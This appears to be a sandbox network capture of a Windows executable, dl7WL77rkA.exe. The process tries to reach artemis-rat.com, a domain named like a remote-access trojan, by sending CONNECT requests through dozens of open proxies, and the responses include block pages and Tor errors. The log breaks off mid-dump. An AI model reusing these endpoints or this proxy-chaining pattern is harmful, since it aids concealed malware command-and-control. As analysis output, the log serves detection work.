Mar 11, 2024 03:30:43.641019106 CET	1254	IN	HTTP/1.1 403 Forbidden Server: squid/3.5.28 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 02:30:43 GMT Content-Type: text/html;charset=utf-8 Content-Length: 952 X-Squid-Error: ERR_ACCESS_DENIED 0 Content-Language: en X-Cache: MISS from ah_test Via: 1.1 ah_test (squid/3.5.28) Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 4d 6f 6e 2c 20 31 31 20 4d 61 72 20 32 30 32 34 20 30 32 3a 33 30 3a 34 33 20 47 4d 54 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2018 The Aerohive"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: Web Page Blocked</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id="ERR_ACCESS_DENIED"><div id="titles"><h1 style="color: #5b8cbd;">The requested URL cannot be retrieved</h1></div><div id="content"><p>Access to the web page has been blocked in accordance with the network policy. If you believe this is an error, please contact you system administrator.</p><p style="color: #7192b4;">URL: <a href="https://artemis-rat.com/">https://artemis-rat.com/</a></p><p style="color: #7192b4;">Category: </p><br></div><div id="footer"><p style="font-size: 12px;">Generated Mon, 11 Mar 2024 02:30:43 GMT</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1303	192.168.2.5	53512	211.222.252.187	8193	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.315706015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1304	192.168.2.5	51856	92.204.135.37	63462	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.317779064 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.405078888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.405577898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.405154943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1305	192.168.2.5	53066	107.180.90.42	10670	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.322479010 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.405095100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.407181978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1306	192.168.2.5	53513	111.90.150.109	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.408189058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1307	192.168.2.5	53507	103.7.52.60	8118	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.408688068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.758476019 CET	263	IN	HTTP/1.1 404 No such domain Content-Length: 6720 Content-Type: text/html Cache-Control: no-cache Date: Mon, 11 Mar 2024 02:30:31 GMT Last-Modified: Wed, 08 Jun 1955 12:00:00 GMT Expires: Sat, 17 Jun 2000 12:00:00 GMT Pragma: no-cache Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1308	192.168.2.5	53506	74.118.80.244	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.411818027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1309	192.168.2.5	52931	140.227.204.70	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.412322998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.757299900 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1310	192.168.2.5	53092	192.169.226.96	31640	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.412409067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.592319012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.594938993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.701932907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1311	192.168.2.5	53520	1.15.62.12	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.412827015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1312	192.168.2.5	51953	189.240.60.168	9090	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.413047075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.685081959 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1313	192.168.2.5	53047	45.65.137.218	999	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.413360119 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.592339039 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.594937086 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.920937061 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1314	192.168.2.5	52105	47.254.90.125	8888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.413516998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1315	192.168.2.5	53521	43.131.245.216	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.414113045 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1316	192.168.2.5	53536	173.249.33.122	64873	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.416575909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.092611074 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.092905998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.092874050 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.889549017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.702008009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.405179024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1317	192.168.2.5	52920	125.141.133.47	5566	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:43.416896105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.592334986 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:55.443736076 CET	755	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 6f 72 20 69 73 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 6f 72 20 69 73 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 54 6f 72 20 61 73 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 6f 72 20 69 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 21 2d 2d 20 50 6c 75 73 20 74 68 69 73 20 63 6f 6d 6d 65 6e 74 2c 20 74 6f 20 6d 61 6b 65 20 74 68 65 20 62 6f 64 79 20 72 65 73 70 6f 6e 73 65 20 6d 6f 72 65 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 73 6f 20 20 20 20 20 20 49 45 20 77 69 6c 6c 20 62 65 20 77 69 6c 6c 69 6e 67 20 74 6f 20 64 69 73 70 6c 61 79 20 69 74 2e 20 43 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 20 20 20 20 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 2e 2d 2d 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>Tor is not an HTTP Proxy</title></head><body><h1>Tor is not an HTTP Proxy</h1><p>It appears you have configured your web browser to use Tor as an HTTP proxy.This is not correct: Tor is a SOCKS proxy, not an HTTP proxy.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.... Plus this comment, to make the body response more than 512 bytes, so IE will be willing to display it. Comment comment comment comment comment comment comment comment comment comment comment comment.--></p></body></html>
Mar 11, 2024 03:32:05.676084042 CET	755	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 6f 72 20 69 73 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 6f 72 20 69 73 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 54 6f 72 20 61 73 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 6f 72 20 69 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 21 2d 2d 20 50 6c 75 73 20 74 68 69 73 20 63 6f 6d 6d 65 6e 74 2c 20 74 6f 20 6d 61 6b 65 20 74 68 65 20 62 6f 64 79 20 72 65 73 70 6f 6e 73 65 20 6d 6f 72 65 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 73 6f 20 20 20 20 20 20 49 45 20 77 69 6c 6c 20 62 65 20 77 69 6c 6c 69 6e 67 20 74 6f 20 64 69 73 70 6c 61 79 20 69 74 2e 20 43 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 20 20 20 20 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 2e 2d 2d 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>Tor is not an HTTP Proxy</title></head><body><h1>Tor is not an HTTP Proxy</h1><p>It appears you have configured your web browser to use Tor as an HTTP proxy.This is not correct: Tor is a SOCKS proxy, not an HTTP proxy.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.... Plus this comment, to make the body response more than 512 bytes, so IE will be willing to display it. Comment comment comment comment comment comment comment comment comment comment comment comment.--></p></body></html>
Mar 11, 2024 03:32:17.706581116 CET	755	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 6f 72 20 69 73 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 6f 72 20 69 73 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 54 6f 72 20 61 73 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 6f 72 20 69 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 21 2d 2d 20 50 6c 75 73 20 74 68 69 73 20 63 6f 6d 6d 65 6e 74 2c 20 74 6f 20 6d 61 6b 65 20 74 68 65 20 62 6f 64 79 20 72 65 73 70 6f 6e 73 65 20 6d 6f 72 65 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 